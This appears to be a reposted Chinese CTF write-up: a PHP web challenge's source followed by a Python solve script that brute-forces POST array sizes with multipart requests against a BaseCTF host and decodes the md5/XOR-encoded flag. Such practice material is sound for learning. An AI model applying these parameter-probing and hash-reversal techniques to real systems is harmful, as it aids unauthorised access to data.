PHP 例题 | 绕过 POST 包最大限制

臭毛病以后改掉。。
```php
<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
  ys_open($_GET['tip']);
} else {
  die("错了！就你还想玩原神？❌❌❌");
}

function ys_open($tip) {
  if ($tip != "我要玩原神") {
    die("我不管，我要玩原神！😭😭😭");
  }
  dumpFlag();
}

function dumpFlag() {
  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
    die("可恶的QQ人！😡😡😡");
  }
  $a = $_POST['m'][0];
  $b = $_POST['m'][1];
  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
    die("某站崩了？肯定是某忽悠干的！😡😡😡");
  }
  include 'flag.php';
  $flag[] = array();
  for ($ii = 0;$ii < sizeof($array);$ii++) {
    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  }
 
  echo json_encode($flag);
}
```

wp:
```python
import requests, re, hashlib, json
from requests_toolbelt import MultipartEncoder

url = 'http://challenge.basectf.fun:41929/'

m = MultipartEncoder(  
    fields={'len[]': (None, b'data', 'application/octet-stream')}   # 文件名 None, 否则进$_FILE 不进 $_POST
)

md5Dict = {}
md5XorData = []

for i in range(0, 127):
    md5Dict[hashlib.md5(str(i).encode('utf-8')).hexdigest()] = i

def go():
    i = 0
    data = {'m[0]':'100%'}
    data['m[1]'] = 'love100%' + hashlib.md5(data['m[0]'].encode('utf-8')).hexdigest()
    resJson = ''
    while True:
        data['len['+str(i)+']'] = (None, b'data', 'application/octet-stream')
        m = MultipartEncoder(data)
        i += 1
        trueData = m.to_string()
        result = requests.post(url, params={
            'tip': '我要玩原神'
        }, data=trueData,headers={'Content-Type':m.content_type}).content.decode('utf-8') #
        reCompile = re.compile(b'</code>(.+?)$', re.M)
        try:
            reRes = re.findall(reCompile, result.encode('utf-8'))[0].decode('utf-8')
            if '❌' not in reRes:
                # result = requests.post(url, params={
                #     'tip': '我要玩原神'
                # }, data=trueData,headers={'Content-Type':m.content_type}, proxies={'http':'127.0.0.1:8080'}).content.decode('utf-8')
                # break
                resJson = reRes
                break
        except:
            print(result)
    myJson = json.loads(resJson)
    for md5 in myJson:
        md5XorData.append(md5Dict[md5])
    for key, XorData in enumerate(md5XorData):
        print(chr(XorData ^ key), end='')
    
if __name__ == '__main__':
    go()
```

原文始发于微信公众号（Heihu Share）：PHP 例题 | 绕过 POST 包最大限制